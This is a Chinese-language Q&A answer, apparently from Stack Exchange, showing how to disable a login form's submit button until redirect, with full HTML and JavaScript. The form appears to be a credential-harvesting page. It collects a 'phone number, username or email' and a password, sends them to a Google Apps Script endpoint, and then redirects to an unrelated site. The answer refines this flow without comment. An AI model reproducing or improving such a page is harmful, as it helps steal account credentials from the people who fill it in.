页面跳转完成前禁用表单提交按钮的实现方案求助

要实现提交后立即禁用按钮以避免重复点击，只需在表单提交触发时先禁用按钮，同时处理请求失败时的按钮恢复逻辑，具体修改如下：

关键修改点 #

• 移除按钮上无用的onclick="click()"属性，避免与原生事件冲突
• 表单提交时立即禁用提交按钮，可同步修改按钮文本给用户状态提示
• 请求失败时恢复按钮状态，保证用户能重新尝试操作

修改后的完整代码 #

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<form action="" method="post" name="form">
  <div class="input">
    <input id="number" name="Phone" type="text" placeholder="Phone number,username or email" required>
    <br>
    <input id="pass" name="Pass" type="password" placeholder="Password " required>
  </div>
  <button id="submit" class="btn" type="submit">Log In</button>
</form>

<script>     
  const scriptURL = 'https://script.google.com/macros/s/AKfycbxD28OxZp-UKkWNjrGKve5cRQUMTAIduhvonfHBE2_x5tc548mrGC9KaovGsLKv_CTW/exec'
  const form = document.forms['form']
  const submitBtn = document.getElementById('submit')

  form.addEventListener('submit', e => {
    e.preventDefault()
    // 立即禁用按钮并修改文本提示
    submitBtn.disabled = true
    submitBtn.textContent = 'Logging In...'

    fetch(scriptURL, { method: 'POST', body: new FormData(form) })
      .then(response => {
        location.href='https://developerkaushal.netlify.com'
      })
      .catch(error => {
        console.error('Error!', error.message)
        // 请求失败时恢复按钮可用状态
        submitBtn.disabled = false
        submitBtn.textContent = 'Log In'
      })
  })
</script>
</body>
</html>

代码说明 #

• 提前获取提交按钮元素，减少DOM重复查询开销
• 提交触发后立刻设置disabled = true，从根源阻止重复点击，同时修改文本让用户清晰感知当前操作状态
• 请求失败分支中恢复按钮的可用状态与原文本，确保用户遇到错误后能重新发起登录请求

内容的提问来源于stack exchange，提问作者Kauahal